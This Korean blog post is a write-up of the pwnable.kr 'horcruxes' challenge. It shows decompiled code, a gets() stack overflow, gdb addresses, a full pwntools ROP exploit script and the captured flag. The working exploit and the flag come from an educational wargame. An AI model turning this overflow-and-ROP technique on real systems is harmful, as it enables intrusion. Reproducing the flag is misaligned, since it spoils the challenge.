본문 바로가기

pwnable/pwnable.kr

[pwnable.kr Toddler's Bottle] horcruxes write up

728x90

 

pwnable.kr에 있는 toddler's bottle의 마지막 문제 horcruxes입니다!

ROP를 사용하라고 나와있습니다.

 

ROP는 공부할때 봤던 사이트들을 링크 걸어두겠습니다.

 

들어가보면 두개의 파일밖에 존재하지 않습니다.

 

horcruxes@prowl:~$ ls -l
total 20
-rwxr-xr-x 1 root root 12424 Aug  8  2018 horcruxes
-rw-r--r-- 1 root root   131 Aug  8  2018 readme
horcruxes@prowl:~$ cat readme
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.

 

원격접속을해서 ROP를 이용하라고 되어있습니다.

일단 horcruxes를 무턱대고 실행해봤습니다.

 

horcruxes@prowl:~$ ./horcruxes
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!

Select Menu:1
How many EXP did you earned? : 2
You'd better get more experience to kill Voldemort
horcruxes@prowl:~$ ./horcruxes
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!

Select Menu:2
How many EXP did you earned? : 85
You'd better get more experience to kill Voldemort
horcruxes@prowl:~$ ./horcruxes
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!

Select Menu:0
How many EXP did you earned? : 123
You'd better get more experience to kill Voldemort

 

음.. 일단 메뉴는 무엇인지 모르겠는데 ROP를 이용해서 계속해서 경험치를 쌓아서 어느 부분보다 높도록 해야하는 것 같습니다.

그렇다면 gdb로 까보겠습니다!

 

 

..gdb로 까서 조사해보려고 했는데 그 범위가 너무 커지고 눈에 확 들어오지 않아서 파일을 받아서 확인했습니다!

물론 다운받아와서도 peda를 이용해서 노가다로 확인해가면서 대강 맞췄지만.. 코드를 가져오는게 쉬워보여 다른분들에게서 코드를 가져왔습니다!!

 

코드를 가져오면서 scp명령어를 처음 알게되었습니다.

서버1에서 서버2로 파일, 디렉토리 등을 옮길 수 있는 명령어라고 합니다.

자세한건 밑에 참고에 적어둔 첫 번째, 두 번째 링크에 있습니다.

 

 

위에서 말했듯이 가져온 horcruxes의 디컴파일을 보며 풀어보겠습니다.]

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST1C_4

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v3 = seccomp_init(0);
  seccomp_rule_add(v3, 2147418112, 173, 0);
  seccomp_rule_add(v3, 2147418112, 5, 0);
  seccomp_rule_add(v3, 2147418112, 3, 0);
  seccomp_rule_add(v3, 2147418112, 4, 0);
  seccomp_rule_add(v3, 2147418112, 252, 0);
  seccomp_load(v3);
  return ropme();
}

 

main에서는 크게 볼 것은 없는 것 같습니다. seccomp로 명령어를 제한하고 있고, 60초의 알람을 두고 hint() init_ABCDEFG(), ropme()를 실행합니다. hint()는 horcruxes실행시 나왔던 출력문 두줄이 전부이고, init_ABCDEFG()부터 보겠습니다.

 

unsigned int init_ABCDEFG()
{
  int v0; // eax
  unsigned int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h]
  int fd; // [esp+Ch] [ebp-Ch]

  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  v0 = rand();
  g = -559038737 * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}

 

보면 변수 a, b, c, d, e, f, g에 랜덤한 수를 할당합니다. g는 왜저러고있지..

그런 다음 모든 수를 더한 합을 sum에 저장하고 return합니다.

 

그럼 이제 ropme()라고 이름부터 rop시켜야할 것처럼 생긴 함수를 보겠습니다.

 

int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h]
  int v2; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

 

입력한 수가 a, b, c, d, e, f, g 중 맞는게 있으면 각 함수를 실행시킵니다. 모두 다르다면 마지막 else문으로 들어가는데 여기서 중요한 gets()가 보이는군요! s에다가 입력을 받으니 overflow를 시킬 수 있는 방법은 생겼습니다. 그리고 s와 sum이 같다면 flag를 open합니다.

 

그럼 sum을 알기위해서 A(), B(), C(), D(), E(), F(), G()를 모두 돌고 exp 얻는 것을 직접 계산한 뒤에 마지막에 다시 ropme()로 돌아가서 계산한 값을 넣어주면 될 것 같습니다.

 

   0x080a00e5 <+220>:   lea    -0x74(%ebp),%eax
   0x080a00e8 <+223>:   push   %eax
   0x080a00e9 <+224>:   call   0x809fc50 <gets@plt>

 

s의 위치는 ebp-0x74입니다.

그렇다면 s에 (116 + 4) byte의 더미 값을 넣어주고 그 다음부터 ROP를 시키면 될 것 같습니다.

 

ROP시킬 필요한 함수들의 주소들은 다음과 같습니다.

 

(gdb) x/x A
0x809fe4b <A>:  0x83e58955
(gdb) x/x B
0x809fe6a <B>:  0x83e58955
(gdb) x/x C
0x809fe89 <C>:  0x83e58955
(gdb) x/x D
0x809fea8 <D>:  0x83e58955
(gdb) x/x E
0x809fec7 <E>:  0x83e58955
(gdb) x/x F
0x809fee6 <F>:  0x83e58955
(gdb) x/x G
0x809ff05 <G>:  0x83e58955
(gdb) x/x ropme
0x80a0009 <ropme>:      0x83e58955

 

이 값들을 바탕으로 exploit을 작성해보겠습니다.

pwntools에 rop를 써보고 싶었는데, ELF파일을 선택해야해서 원격에서는 되는지 몰라서 다음에 써보기로 하겠습니다!

 

from pwn import *

r = remote('127.0.0.1', 9032)

A = 0x0809FE4B
B = 0x0809FE6A
C = 0x0809FE89
D = 0x0809FEA8
E = 0x0809FEC7
F = 0x0809FEE6
G = 0x0809FF05
ropme = 0x0809FFFC

r.recvuntil('Menu:')
r.sendline('1')
r.recvuntil('earned? : ')

payload = "A"*120
payload += p32(A)
payload += p32(B)
payload += p32(C)
payload += p32(D)
payload += p32(E)
payload += p32(F)
payload += p32(G)
payload += p32(ropme)

r.sendline(payload)

exp = 0
for i in range(7):
    r.recvuntil('EXP +')
    exp += int(r.recvuntil(')')[:-1])

r.recvuntil('Menu:')
r.sendline('1')
r.recvuntil('earned? : ')
r.sendline(str(exp))

r.interactive()
r.close()
                        

 

아니 똑같이 썼었는데.. 자꾸 for문 다음에 있는 r.recvuntil('Menu:')에서 EOFerror가 발생했었다..

근데 자꾸 안고쳐져서 아예 파일을 지우고 새로 똑같이 쓰니까 된다.. 대체 뭐가 문제일까..

 

아무튼 성공했다.

 

horcruxes@prowl:~$ python /tmp/suri_horcruxes/ex.py
[+] Opening connection to 127.0.0.1 on port 9032: Done
[*] Switching to interactive mode
Magic_spell_1s_4vad4_K3daVr4!

[*] Got EOF while reading in interactive
$

 

 

<참고>

https://itgameworld.tistory.com/11

http://programmingskills.net/archives/319

 

 

잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다

 

 

728x90